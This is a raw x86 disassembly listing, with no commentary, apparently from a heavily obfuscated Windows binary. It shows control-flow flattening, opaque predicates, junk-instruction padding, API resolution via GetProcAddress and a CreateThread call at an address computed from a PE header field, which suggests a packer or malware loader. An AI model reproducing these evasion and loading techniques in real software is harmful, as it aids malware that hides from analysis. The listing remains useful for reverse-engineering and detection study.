xor esi, 0xc4828785
mov edx, ecx
and edx, 0x22d7c3b1
and esi, 0xec93c795
or eax, edx
mov edx, eax
not edx
and eax, 0x22d7c3b0
and edx, 0xdd283c4f
or eax, edx
mov edx, ecx
and edx, 0x136c386a
and ecx, 1
or edx, esi
mov esi, 0xa09706e6
xor edx, 0xec93c794
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x14ce2f60
and edx, 0xeb31d09f
or ecx, edx
xor ecx, 0x14ce2f60
or ecx, eax
mov eax, ecx
xor eax, 0xb04da046
mov edx, ecx
and edx, 0xa0480044
and eax, ecx
not ecx
and ecx, 0x1005a002
or edx, ecx
xor edx, 0xa0480044
or eax, edx
mov ecx, eax
not ecx
and eax, 0x107153f1
and ecx, 0xef8eac0e
or eax, ecx
xor eax, 0xa03cf3b7
setne dl
sete al
cmp dword [0x45d978], 0xa
mov ecx, edx
mov dh, dl
setl ah
setge ch
inc dh
or cl, ah
xor al, ah
and dl, ah
and al, ah
or ah, dh
and dh, ch
xor cl, 1
or al, cl
or dh, dl
xor ah, 1
or dh, ah
mov dl, al
mov ah, dh
xor dl, dh
and dh, al
and dl, al
not ah
xor al, 1
and al, ah
or dh, al
mov eax, edx
xor al, dh
test al, 1
cmovne esi, edi
test dh, 1
mov eax, esi
cmovne eax, edi
test dl, dl
cmove eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x14c]
vmovsd xmm0, qword [eax]
mov eax, 0xe6a8536a
vmovsd qword [ecx], xmm0
jmp 0x401610
mov eax, 0xee6e3af1
jmp 0x401610
mov eax, dword [ebp - 0x70]
push dword [ebp - 0x124]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x50]
mov edi, 0x5e33cdc
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x45d97c]
cmp dword [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x87]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x450a0090
and eax, 0x10018002
mov edx, ecx
and edx, 0xa0705f0d
or ecx, 0x45304519
or esi, edx
and ecx, 0x4fb46579
mov edx, esi
xor edx, 0xa0080
xor esi, 0xab46569
or eax, ecx
and esi, 0x4fb46579
and edx, 0xa04a1a84
or edx, esi
mov esi, 0x8d4b7297
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x59706f9
and ecx, 0xfa68f906
or eax, ecx
mov ecx, eax
xor eax, 0x1f12a69a
xor ecx, 0xe0ed5964
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1008e080
mov edx, eax
and edx, 0x9111e23
and eax, 0xe6e6015c
or ecx, edx
xor ecx, 0x1008e080
or eax, ecx
sete ah
setne dl
cmp dword [0x45d978], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x5e33cdc
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x90]
mov eax, dword [0x45d97c]
mov esi, 0x6ee6ce28
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xd591cf5e
and edx, ecx
not ecx
mov eax, ecx
and eax, 0xd591cf5e
or eax, edx
not edx
and edx, 0x2a6e30a0
and eax, 0xd591cf5f
or eax, edx
mov edx, eax
not edx
and eax, 0xbccde417
and edx, 0x43321be8
or eax, edx
xor eax, 0xbccde417
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x45d978], 0xa
setl ch
setge al
or dl, ch
xor ch, ah
mov cl, ch
xor cl, al
xor al, ah
and al, dl
and cl, ch
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xfc4f8a3
or ah, al
mov al, dl
xor al, ah
test ah, ah
cmovne ecx, esi
test dl, dl
mov edx, 0xfc4f8a3
jmp 0x40c23f
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x7c186383
mov ebx, ecx
and ebx, 0x81048050
and ecx, 0x50d21fb7
mov esi, eax
or esi, 0x2431c04
mov edi, eax
and edx, 0x7e5b7f87
and edi, 0xa00028
and eax, 0xaf2de048
and esi, 0x7e5b7f87
or edi, edx
or eax, ecx
or ebx, esi
xor ebx, edi
mov esi, ebx
not esi
and ebx, 0x22e31c2c
and esi, 0xdd1ce3d3
or ebx, esi
mov esi, ebx
not esi
and ebx, 0xaf2de048
mov edi, esi
and edi, 0x50d21fb7
or ebx, edi
xor eax, ebx
xor esi, eax
and esi, eax
mov eax, 0xd4c64bc9
mov dword [ebp - 0x130], esi
jmp 0x401610
mov eax, 0xc17bc6d9
jmp 0x401610
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0x12c]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xb4]
mov eax, 0x4b2a902d
jmp 0x401610
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x148], eax
mov eax, 0x10cf87cc
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0xce15f3f
mov esi, eax
and esi, 0xfffffffe
and eax, 0xf31ea0c0
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xf31ea0c0
mov edi, esi
and edi, 0xce15f3f
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x5759938e
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x45d978], 0xa
mov dh, ah
setl ch
setge al
mov cl, ch
or dh, al
or cl, dl
and dl, ch
mov ch, al
xor ch, ah
mov ebx, ecx
or cl, dh
and ch, al
and al, ah
xor bl, dh
xor cl, 1
or al, dl
or cl, bl
or al, ch
mov ah, cl
mov edx, eax
and ah, al
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
and ch, cl
xor cl, al
xor dl, 1
or dl, cl
or ah, ch
mov ecx, 0x18d707b4
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0x18d707b4
jmp 0x40c0a4
mov eax, 0x5439307e
jmp 0x401610
mov eax, dword [ebp - 0x130]
mov eax, 0x67cf3ae7
jmp 0x401610
rcr edi, 0x29
sub edi, 0x41
mov edx, 0x41
mov edi, 0x9a
not esi
neg eax
not edx
inc eax
not edi
and ebx, 0x14
neg edi
dec edi
sbb esi, 0x49
not edx
sub edx, 0x15
or eax, 0x26
bswap ebx
rcl edi, 0x4f
inc edx
inc esi
mov ebx, 0
bswap esi
not esi
add edx, 0xc2
inc edx
dec eax
and eax, 0xe
bswap esi
dec edx
bswap edx
ror ebx, 0x5e
ror ebx, 0xc9
not eax
sub esi, 0xd9
and ebx, 0x30
or eax, 0x2f
and esi, 0xc8
rcl edi, 0x73
rcr edi, 0xff
sbb ebx, 0x95
neg edi
mov edx, 0xf6
rcl edx, 0xb7
sub edx, 0x9e
ror edx, 0xb0
inc ebx
rcl ebx, 0xdc
rcl eax, 0x32
not eax
neg edx
add esi, 0xec
imul eax
neg esi
or edi, 0x52
neg ebx
imul esi
rol edi, 0x89
imul edx
neg ebx
sbb ebx, 0x9d
or eax, 0x79
not eax
add ebx, 0xd3
not edi
dec edi
add edi, 0x4d
rcr edx, 0xa3
imul eax
rcr edi, 0x67
rol ebx, 0xa6
inc ebx
rcl ebx, 0x1d
imul ebx
not edx
imul edx
and eax, 5
bswap edx
rol edi, 0xed
neg edx
bswap ebx
neg edi
inc eax
rcr esi, 0x2e
bswap edx
bswap esi
sbb edi, 0x57
imul ebx
mov edx, 0x6d
sbb edx, 0x61
sub ebx, 0xb9
or ebx, 7
and edx, 0xd6
neg ebx
imul eax
mov edx, 3
not ebx
sbb edx, 0xb2
or esi, 0x2a
dec edx
and ebx, 0xd
dec edx
neg ebx
or edx, 0x87
rcr eax, 0x25
neg ebx
dec edx
inc esi
and ebx, 0x82
not esi
imul esi
not edx
rcl esi, 0x20
add edx, 0x3a
sub ebx, 0xfb
imul ebx
not edi
add eax, 0x6d
and ebx, 0x28
add esi, 0x6d
not eax
imul esi
bswap esi
or edx, 0xc
bswap ebx
imul edi
sbb esi, 0x49
dec esi
bswap edi
rcl ebx, 0x82
imul edi
dec edx
and esi, 0x78
imul ebx
sbb eax, 0x82
rol edx, 0xc6
sbb ebx, 0xd9
not eax
rcl eax, 0xf2
rcr edi, 0x49
inc edx
bswap ebx
imul eax
neg esi
mov eax, 0x62
sub esi, 0xd9
dec edi
not eax
neg eax
not edi
ror ebx, 0x9b
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xe6c5190e
mov edx, eax
and edx, 0x193ae6f0
and eax, 0x85adc7d
or esi, edx
mov edx, ecx
and edx, 1
and ecx, 0xf7a52382
xor esi, 0xe6c5190e
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x85adc7d
mov edi, esi
and edi, 0xf7a52382
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x5759938e
setne ah
sete ch
cmp dword [0x45d978], 0xa
setge al
setl dl
mov cl, al
or dl, ah
xor cl, ch
xor dl, 1
xor cl, 1
or cl, al
or al, ch
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x32b7b613
cmovne ecx, esi
test al, al
mov esi, 0x32b7b613
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x401610
mov eax, 0xdf027c91
jmp 0x401610
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x24]
vmovsd xmm0, qword [ecx + 0xa0]
vmovsd qword [eax], xmm0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ecx + 0x50]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 4]
mov dword [ebp - 0x154], eax
mov eax, 0x54c45f91
jmp 0x401610
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0xab0b6b13
jmp 0x401610
mov eax, dword [ebp - 0x158]
add eax, 0x1c
mov dword [ebp - 0x15c], eax
mov eax, 0xb7ef0fee
jmp 0x401610
mov eax, dword [ebp - 0x1c]
push 0x400
push section..data
push dword [eax]
vzeroupper
call fcn.00423120
add esp, 0xc
neg esi
rcl edx, 0xde
or esi, 0xf5
mov eax, 0x19
inc esi
rcr edx, 0xb2
sbb edi, 0x46
or esi, 0xa4
and edx, 0x22
rcl esi, 0xb8
sbb esi, 0x5e
dec edx
mov eax, 0x8c
sbb eax, 0x2f
rcl eax, 0xc9
ror esi, 0x86
sbb eax, 0xf
imul ebx
neg edx
ror edx, 0xa5
not edx
sbb edi, 0x73
dec esi
inc eax
and esi, 0x87
not edi
bswap esi
and eax, 0x4a
mov edx, 0x54
imul edi
inc edx
and eax, 0x79
rol ebx, 4
rol eax, 0x35
rcl ebx, 0xc9
not edi
inc edx
not edx
bswap edi
imul eax
and esi, 0xa4
bswap edi
add esi, 0xe8
not edi
imul eax
dec edx
and esi, 0x5b
neg edx
not esi
rol edx, 0x46
bswap ebx
imul edi
inc esi
add eax, 0xd5
sbb edi, 0x1f
or ebx, 0x56
mov edx, 0xf1
not esi
mov esi, 2
rcr ebx, 0x90
bswap ebx
add esi, 8
sub edx, 0x62
sub ebx, 0xf1
imul eax
or esi, 0x56
neg esi
bswap eax
inc ebx
inc ebx
imul edx
rcl ebx, 0xfe
or ebx, 0x98
sbb edx, 0x7d
inc edi
rol eax, 0xe5
bswap edi
dec eax
add edi, 0x71
add edx, 0xb6
or edx, 0x4a
mov edi, 0xd9
not edi
sbb ebx, 0xe7
mov esi, 0x7e
imul eax
inc edi
imul eax
bswap esi
dec edi
sbb edi, 0xe8
inc edx
dec esi
and edx, 0x50
imul ebx
rol edx, 0x74
not eax
and edi, 0x23
bswap edi
imul esi
and edi, 0x8a
inc esi
dec esi
bswap ebx
dec esi
imul eax
mov ebx, 0x8a
dec edx
neg esi
not eax
mov eax, 0x41
rcl ebx, 0x24
not edi
not esi
mov ebx, 0x12
imul edi
neg edi
and eax, 0xe9
bswap ebx
not ebx
rol esi, 0xcb
not edx
ror eax, 0xe5
not eax
inc ebx
rcr ebx, 0x69
dec eax
rol eax, 0x1a
rcl edx, 0xd7
ror edx, 0xfb
not esi
not edi
sub edi, 0x47
imul eax
mov edx, 0x38
not edi
imul ebx
rol eax, 0x4a
add esi, 0x85
or ebx, 0x9c
imul edi
ror edi, 0x54
rol eax, 0x44
imul esi
dec edx
rol ebx, 7
bswap edi
or edx, 0x2a
add esi, 0x76
and edx, 0x9a
mov dword [ebp - 0x168], eax
mov eax, 0xde808adf
jmp 0x401610
mov eax, 0xab0775ba
jmp 0x401610
mov eax, dword [ebp - 0x80]
mov edi, 0x8bb38832
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x2752f38
mov esi, eax
and esi, 0xfd8ad0c6
or eax, 0xd442b8c8
or edx, esi
and eax, 0xd442b8c9
mov esi, edx
xor esi, 0x2350730
xor edx, 0xd40290c1
and edx, 0xd442b8c9
and esi, 0x2bbd4736
or esi, edx
xor eax, esi
mov esi, 0x8ed488ec
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
xor edx, eax
test edx, eax
setne al
sete dl
cmp dword [0x45d978], 0xa
setge ah
setl cl
mov ch, ah
and al, cl
xor cl, dl
xor ch, dl
and dl, ah
or al, dl
and ch, ah
xor al, 1
or cl, ch
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x8bb38832
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x401610
cmp dword [ebp - 0x144], 0
mov eax, dword [ebp - 0x74]
setne byte [eax]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x74]
mov ecx, dword [0x45d97c]
cmp byte [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x8b]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x127bf203
and edi, 0xed840dfc
and edx, 0x440d9271
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xbbf26d8e
mov ebx, esi
not ebx
and esi, 0xed840dfc
or eax, edx
or ecx, ebx
and ebx, 0x127bf203
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x7827be18
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xb949664f
mov esi, edx
and esi, 0x46b699b0
or ecx, esi
mov esi, eax
xor esi, 0xb940640e
xor eax, 0x44049030
and eax, 0x46b699b0
and esi, 0xb949664f
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x84d5e3b2
setne ch
sete ah
cmp dword [0x45d978], 0xa
setl dl
setge al
and ch, dl
and al, ah
mov cl, dl
or dl, ah
or al, ch
inc cl
xor al, 1
and cl, ah
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7827be18
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, edi
test dl, 1
cmovne eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, 0x827ba8f5
jmp 0x401610
mov eax, dword [ebp - 0xec]
mov ecx, 0xb96f1740
cmp eax, 0xc
mov eax, 0x8bc9ef04
cmove eax, ecx
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x62008205
and eax, 0x9480052
mov edx, ecx
or edx, 0x90066808
and esi, 0xf206ea0d
and ecx, 0x4b115a0
and edx, 0xf206ea0d
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x94b77da8
and ecx, 0x6b488257
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xb0338020
and eax, 0x4fcc7fdf
or ecx, eax
mov eax, ecx
xor eax, 0xa0220000
xor ecx, 0x4fcc7fdf
mov esi, ecx
and esi, 0x5855b867
and eax, 0xa7aa4798
or eax, esi
mov esi, edx
not esi
and edx, 0xa7aa4798
or ecx, esi
and esi, 0x5855b867
or edx, esi
not ecx
mov esi, 0x9335fc37
xor edx, eax
or ecx, edx
setne ah
sete ch
cmp dword [0x45d978], 0xa
setge al
setl dl
mov cl, al
and ah, dl
and al, ch
or dl, ch
or al, ah
xor cl, ch
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb4360441
cmovne eax, esi
test cl, 1
mov ecx, 0xb4360441
jmp 0x40ba03
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
or esi, 1
not edx
mov eax, edx
or eax, 0x4b7c2348
and esi, 0x4b7c2349
and edx, 0xb483dcb6
or edx, esi
and eax, 0x4b7c2349
xor eax, edx
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
or eax, esi
mov esi, 0x21065797
not eax
or eax, edx
xor eax, 0xffffffff
sete cl
setne ch
cmp dword [0x45d978], 0xa
setl al
setge dl
mov ah, al
and al, ch
and ch, dl
and ah, cl
and cl, dl
or ah, ch
or al, cl
xor ah, 1
or ah, dl
xor ah, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xf48cb2d7
cmovne edx, esi
test al, 1
mov eax, 0xf48cb2d7
jmp 0x40cfd2
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov edx, ecx
mov esi, ecx
or esi, 0x40000000
not edx
mov eax, edx
or eax, 0xb7cbf846
and esi, 0xf7cbf846
and edx, 0x83407b9
or edx, esi
and eax, 0xf7cbf846
xor eax, edx
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
or eax, esi
not eax
or eax, edx
not eax
mov dword [ebp - 0x1e8], eax
mov eax, 0xe63abd05
jmp 0x401610
mov eax, 0xcd26d4ca
jmp 0x401610
mov eax, dword [ebp - 0xe8]
mov eax, 0x8007a934
jmp 0x401610
mov eax, 0xf21204fa
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x14f4e601
mov edx, eax
not edx
and ecx, eax
or eax, 0xeb0b19fe
and edx, 0x248400
mov esi, ecx
not esi
mov edi, eax
and edi, 0x14d273ab
and ecx, 0xeb2d8c54
or eax, esi
and esi, 0x14d273ab
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfbfffc53
and ecx, 0x40003ac
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x10f4e5ad
xor ecx, 0xef0b1a52
xor eax, 0x35b2b20e
mov esi, edx
and eax, ecx
and esi, 0xdab9a85c
or edx, 1
and ecx, 0xddf3639c
or eax, esi
mov esi, eax
not esi
and eax, 0xbba8c10c
and esi, 0x44573ef3
or eax, esi
mov esi, eax
xor esi, 0x41116110
xor eax, 0x9eee96ae
mov edi, eax
or eax, edx
and edx, 0x220c9c63
and edi, 0x220c9c63
and esi, 0xddf3639c
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xed08da60
and edx, 0x12f7259f
or edx, esi
mov esi, ecx
not esi
and ecx, 0x12f7259f
or eax, esi
and esi, 0xed08da60
or ecx, esi
not eax
mov esi, 0xe6a8536a
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2fecca0
and ecx, 0xfd01335f
or eax, ecx
xor eax, 0xfd01335f
sete dl
setne ch
cmp dword [0x45d978], 0xa
setge al
setl ah
mov cl, al
and ah, ch
xor cl, ch
mov dh, cl
and cl, al
and dh, ch
mov ch, al
mov bl, dh
xor dh, cl
xor cl, 1
xor ch, dl
xor bl, 1
and ch, al
and al, dl
or cl, bl
or al, ah
xor cl, 1
or al, ch
or cl, dh
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x353a31b4
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x409e07
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, 0x5bb6088d
jmp 0x401610
mov eax, 0xf08f03b7
jmp 0x401610
mov eax, dword [0x45d97c]
mov edi, 0x53a4e47b
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x3a21e3d3
and edx, 0xc5de1c2c
or eax, edx
mov edx, eax
xor edx, 0x2a210303
xor eax, 0xc5de1c2c
mov esi, eax
and esi, 0x5052e4fc
and edx, 0xafad1b03
or edx, esi
mov esi, ecx
not esi
and ecx, 0xafad1b03
or eax, esi
and esi, 0x5052e4fc
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x9e9bdd9a
and edx, 0x61642265
or edx, esi
mov esi, ecx
not esi
and ecx, 0x61642265
or eax, esi
and esi, 0x9e9bdd9a
or ecx, esi
not eax
mov esi, 0x2631005e
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcc61ab6c
and ecx, 0x339e5493
or ecx, eax
xor ecx, 0x339e5493
setne cl
sete ah
cmp dword [0x45d978], 0xa
setge al
setl ch
mov edx, eax
and ch, cl
xor dl, ah
and dl, al
and al, ah
or al, ch
mov ecx, edx
mov ah, al
xor cl, 1
xor dl, al
xor ah, 1
or cl, ah
xor cl, 1
or cl, dl
xor al, cl
or cl, ah
mov edx, eax
xor dl, cl
not dl
test dl, 1
cmovne edi, esi
test cl, 1
mov esi, 0x53a4e47b
cmovne esi, edi
test al, 1
cmovne esi, edi
mov eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, 0x1406c916
jmp 0x401610
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov dword [eax + 4], ecx
push dword [ebp - 0x94]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x60]
add eax, eax
mov edi, 0x2631005e
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x1235fd4e
mov ecx, edx
and ecx, 0xfc70b973
and eax, edx
not edx
and edx, 0x38f468c
or ecx, edx
mov edx, ecx
xor ecx, 0x205440c
xor edx, 0x1010b100
or ecx, 0xedca02b1
and edx, 0x1214b504
mov esi, ecx
and esi, 0xa5eb4acb
or edx, esi
mov esi, eax
not esi
and eax, 0x5a14b534
or ecx, esi
and esi, 0xa5eb4acb
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x11ba4213
and eax, 0xee45bdec
or ecx, eax
mov eax, ecx
xor ecx, 0xc45040a2
xor eax, 0x38fbf5d
mov edx, eax
and ecx, 0xc65048e7
and eax, 0x39afb718
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x39afb719
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xa8131049
and eax, 0x5402b04
mov edx, ecx
or edx, 0x50244402
and esi, 0xf837544b
and ecx, 0x28880b0
and edx, 0xf837544b
or ecx, esi
mov esi, 0xa2b93c15
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x52acc4b2
and ecx, 0xad533b4d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6a54dfa
and ecx, 0xf95ab205
or eax, ecx
mov ecx, eax
xor ecx, 0x6a448da
xor eax, 0x181a3004
and eax, 0x181b3524
and ecx, 0xe7e4cadb
or ecx, eax
xor ecx, 0xe7e4cadb
sete al
setne cl
cmp dword [0x45d978], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor cl, 1
xor al, dl
xor ah, 1
xor al, 1
or ah, cl
mov cl, ah
or cl, al
xor al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x2631005e
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dl, dl
cmove eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa8f9710f
and eax, 0x57068ef0
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x57068ef0
xor edx, 0xa8f9710f
xor ecx, 0xa8f9710e
and ecx, edx
and eax, 0xfffffffe
and edx, 1
or edx, eax
mov eax, ecx
not eax
and ecx, 0xa36504a4
mov esi, eax
and esi, 0x5c9afb5b
or ecx, esi
mov esi, edx
not esi
and edx, 0xa36504a4
or eax, esi
and esi, 0x5c9afb5b
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x49794846
mov edx, eax
not edx
and ecx, eax
or eax, 0xb686b7b9
and edx, 0x40294806
mov esi, eax
and esi, 0x895685c1
or edx, esi
mov esi, ecx
not esi
and ecx, 0x76a97a3e
or eax, esi
and esi, 0x895685c1
or ecx, esi
not eax
mov esi, 0xeaf604b8
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf98c70cc
and ecx, 0x6738f33
or eax, ecx
xor eax, 0xb0f5388a
sete ah
setne dl
cmp dword [0x45d978], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xb9f0f628
cmovne eax, esi
test dl, 1
mov edx, 0xb9f0f628
jmp 0x40cb80
mov eax, dword [ebp - 0xe0]
mov ecx, eax
